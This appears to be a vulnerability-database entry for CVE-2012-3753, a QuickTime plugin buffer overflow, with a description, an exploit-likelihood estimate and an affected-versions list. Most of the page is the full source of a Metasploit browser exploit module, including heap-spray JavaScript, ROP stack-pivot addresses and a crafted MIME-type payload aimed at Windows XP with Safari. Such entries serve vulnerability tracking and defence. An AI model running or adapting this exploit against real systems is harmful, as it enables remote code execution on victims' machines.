CVE-2012-3753

critical
Published 2012-11-09 ยท Modified 2026-04-29
CVSS v3
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CVSS v4 NEW
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not yet in upstream
VIR risk
10.0

Description

Buffer overflow in the plugin in Apple QuickTime before 7.7.3 allows remote attackers to execute arbitrary code or cause a denial of service (application crash) via a crafted MIME type.

Predictions

Exploit likelihood
20%
Patch ETA
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Mitigations

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Exploits

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Exploit-DB

EDB-22973 remote windows verified ruby ยท 7 KB
Metasploit ยท 2012-11-28

Apple QuickTime 7.7.2 - MIME Type Buffer Overflow (Metasploit)

ruby exploit Source: Exploit-DB
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpServer::HTML
	include Msf::Exploit::Remote::Egghunter
	include Msf::Exploit::RopDb

	include Msf::Exploit::Remote::BrowserAutopwn
	autopwn_info({
		:os_name    => OperatingSystems::WINDOWS,
		:ua_name    => HttpClients::SAFARI,
		:ua_maxver  => '5.0.1',
		:ua_maxver  => '5.1.7',
		:javascript => true,
		:rank       => NormalRanking, # reliable memory corruption
		:vuln_test  => nil
	})

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Apple QuickTime 7.7.2 MIME Type Buffer Overflow',
			'Description'    => %q{
					This module exploits a buffer overflow in Apple QuickTime 7.7.2. The stack
				based overflow occurs when processing a malformed Content-Type header. The module
				has been tested successfully on Safari 5.1.7 and 5.0.7 on Windows XP SP3.
			},
			'Author'         =>
				[
					'Pavel Polischouk', # Vulnerability discovery
					'juan vazquez' # Metasploit module
				],
			'License'        => MSF_LICENSE,
			'References'     =>
				[
					[ 'CVE', '2012-3753' ],
					[ 'OSVDB', '87088'],
					[ 'BID', '56438' ],
					[ 'URL', 'http://support.apple.com/kb/HT5581' ],
					[ 'URL', 'http://asintsov.blogspot.com.es/2012/11/heapspray.html' ]
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
					'InitialAutoRunScript' => 'migrate -f',
				},
			'Payload'        =>
				{
					'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
				},
			'Platform' => 'win',
			'Targets'  =>
				[
					# Tested with QuickTime 7.7.2
					[ 'Automatic', {} ],
					[ 'Windows XP SP3 / Safari 5.1.7 / Apple QuickTime Player 7.7.2',
						{
							'OffsetFirstStackPivot' => 389,
							'OffsetSecondStackPivot' => 105,
							'FirstStackPivot' => 0x671a230b, # ADD ESP,4B8 # RETN # Quicktime.qts,
							'SecondStackPivot' => 0x67123437, # pop esp / ret # Quicktime.qts
							'SprayOffset' => 264,
							'SprayedAddress' => 0x60130124
						}
					],
					[ 'Windows XP SP3 / Safari 5.0.5 / Apple QuickTime Player 7.7.2',
						{
							'OffsetFirstStackPivot' => 389,
							'OffsetSecondStackPivot' => 105,
							'FirstStackPivot' => 0x671a230b, # ADD ESP,4B8 # RETN # Quicktime.qts,
							'SecondStackPivot' => 0x67123437, # pop esp / ret # Quicktime.qts
							'SprayOffset' => 264,
							'SprayedAddress' => 0x60130124
						}
					]
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Nov 07 2012',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
			], self.class
		)
	end

	def get_target(agent)
		#If the user is already specified by the user, we'll just use that
		return target if target.name != 'Automatic'

		nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''

		browser_name = ""
		if agent =~ /Safari/ and agent=~ /Version\/5\.1\.7/
			browser_name = "Safari 5.1.7"
		elsif agent =~ /Safari/ and agent=~ /Version\/5\.0\.5/
			browser_name = "Safari 5.0.5"
		end

		os_name = 'Windows XP SP3'

		targets.each do |t|
			if (!browser_name.empty? and t.name.include?(browser_name)) and (!nt.empty? and t.name.include?(os_name))
				print_status("Target selected as: #{t.name}")
				return t
			end
		end

		return nil
	end

	def on_request_uri(client, request)

		agent = request.headers['User-Agent']
		my_target = get_target(agent)

		# Avoid the attack if the victim doesn't have the same setup we're targeting
		if my_target.nil?
			print_error("Browser not supported: #{agent}")
			send_not_found(cli)
			return
		end

		return if ((p = regenerate_payload(client)) == nil)

		if request.uri =~ /\.smil$/
			print_status("Sending exploit (target: #{my_target.name})")
			smil = rand_text_alpha(20)
			type = rand_text_alpha_lower(1)
			subtype = rand_text_alpha_lower(my_target['OffsetSecondStackPivot'])
			subtype << [my_target['SecondStackPivot']].pack("V")
			subtype << [my_target['SprayedAddress']].pack("V")
			subtype << rand_text_alpha_lower(my_target['OffsetFirstStackPivot'] - subtype.length)
			subtype << rand_text_alpha_lower(4)
			subtype << [my_target['FirstStackPivot']].pack("V")
			subtype << rand_text_alpha_lower(10000 - subtype.length)
			send_response(client, smil, { 'Content-Type' => "#{type}/#{subtype}" })
		else
			print_status("Sending initial HTML")
			url =  ((datastore['SSL']) ? "https://" : "http://")
			url << ((datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(client.peerhost) : datastore['SRVHOST'])
			url << ":" + datastore['SRVPORT'].to_s
			url << get_resource
			fname = rand_text_alphanumeric(4)

			code = generate_rop_payload('msvcrt', payload.encoded, {'target'=>'xp'})
			js_code = Rex::Text.to_unescape(code, Rex::Arch.endian(my_target.arch))
			offset = rand_text(my_target['SprayOffset'])
			js_offset = Rex::Text.to_unescape(offset, Rex::Arch.endian(my_target.arch))
			fill = rand_text(4)
			js_fill = Rex::Text.to_unescape(fill, Rex::Arch.endian(my_target.arch))

			# Heap Spray based on http://asintsov.blogspot.com.es/2012/11/heapspray.html
			js = <<-JSSPRAY
function heapSpray(offset, shellcode, fillsled) {
	var chunk_size, headersize, fillsled_len, code;
	var i, codewithnum;
	chunk_size = 0x40000;
	headersize = 0x10;
	fillsled_len = chunk_size - (headersize + offset.length + shellcode.length);
	while (fillsled.length <fillsled_len)
		fillsled += fillsled;
	fillsled = fillsled.substring(0, fillsled_len);
	code = offset + shellcode + fillsled;
	heap_chunks = new Array();
	for (i = 0; i<1000; i++)
	{
		codewithnum = "HERE" + code;
		heap_chunks[i] = codewithnum.substring(0, codewithnum.length);
	}
}
var myoffset = unescape("#{js_offset}");
var myshellcode = unescape("#{js_code}");
var myfillsled = unescape("#{js_fill}");
heapSpray(myoffset,myshellcode,myfillsled);
			JSSPRAY

			if datastore['OBFUSCATE']
				js = ::Rex::Exploitation::JSObfu.new(js)
				js.obfuscate
			end

			content =  "<html>"
			content << "<head><script>"
			content << "#{js}"
			content << "</script></head>"
			content << "<body>"
			content << <<-ENDEMBED
<OBJECT
CLASSID="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B"
WIDTH="1"
HEIGHT="1"
CODEBASE="http://www.apple.com/qtactivex/qtplugin.cab">
<PARAM name="SRC"        VALUE = "#{url}/#{fname}.smil">
<PARAM name="QTSRC"      VALUE = "#{url}/#{fname}.smil">
<PARAM name="AUTOPLAY"   VALUE = "true"               >
<PARAM name="TYPE"       VALUE = "video/quicktime"    >
<PARAM name="TARGET"     VALUE = "myself"             >
<EMBED
	SRC        = "#{url}/#{fname}.smil"
	QTSRC      = "#{url}/#{fname}.smil"
	TARGET     = "myself"
	WIDTH      = "1"
	HEIGHT     = "1"
	AUTOPLAY   = "true"
	PLUGIN     = "quicktimeplugin"
	TYPE       = "video/quicktime"
	CACHE      = "false"
	PLUGINSPAGE= "http://www.apple.com/quicktime/download/" >
</EMBED>
</OBJECT>
			ENDEMBED
			content << "</body></html>"
			send_response(client, content, { 'Content-Type' => "text/html" })
		end

		# Handle the payload
		handler(client)
	end

end

Metasploit modules

Apple QuickTime 7.7.2 MIME Type Buffer Overflow
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Application impact

VendorProductVersionsFixed
macos applequicktime{"endIncluding":"7.7.2"}
macos applequicktime3.0
macos applequicktime4.1.2
macos applequicktime5.0
macos applequicktime5.0.1
macos applequicktime5.0.2
macos applequicktime6.0
macos applequicktime6.0.0
macos applequicktime6.0.1
macos applequicktime6.0.2
macos applequicktime6.1
macos applequicktime6.1.1
macos applequicktime6.2.0
macos applequicktime6.3.0
macos applequicktime6.4.0
macos applequicktime6.5
macos applequicktime6.5.0
macos applequicktime6.5.1
macos applequicktime6.5.2
macos applequicktime7.0.0
macos applequicktime7.0.1
macos applequicktime7.0.2
macos applequicktime7.0.3
macos applequicktime7.0.4
macos applequicktime7.1.0
macos applequicktime7.1.1
macos applequicktime7.1.2
macos applequicktime7.1.3
macos applequicktime7.1.4
macos applequicktime7.1.5
macos applequicktime7.1.6
macos applequicktime7.2.0
macos applequicktime7.2.1
macos applequicktime7.3.0
macos applequicktime7.3.1
macos applequicktime7.3.1.70
macos applequicktime7.4.0
macos applequicktime7.4.1
macos applequicktime7.4.5
macos applequicktime7.5.0
macos applequicktime7.5.5
macos applequicktime7.6.0
macos applequicktime7.6.1
macos applequicktime7.6.2
macos applequicktime7.6.5
macos applequicktime7.6.6
macos applequicktime7.6.7
macos applequicktime7.6.8
macos applequicktime7.6.9
macos applequicktime7.7.0
macos applequicktime7.7.1

References

CWEs

CWE-119

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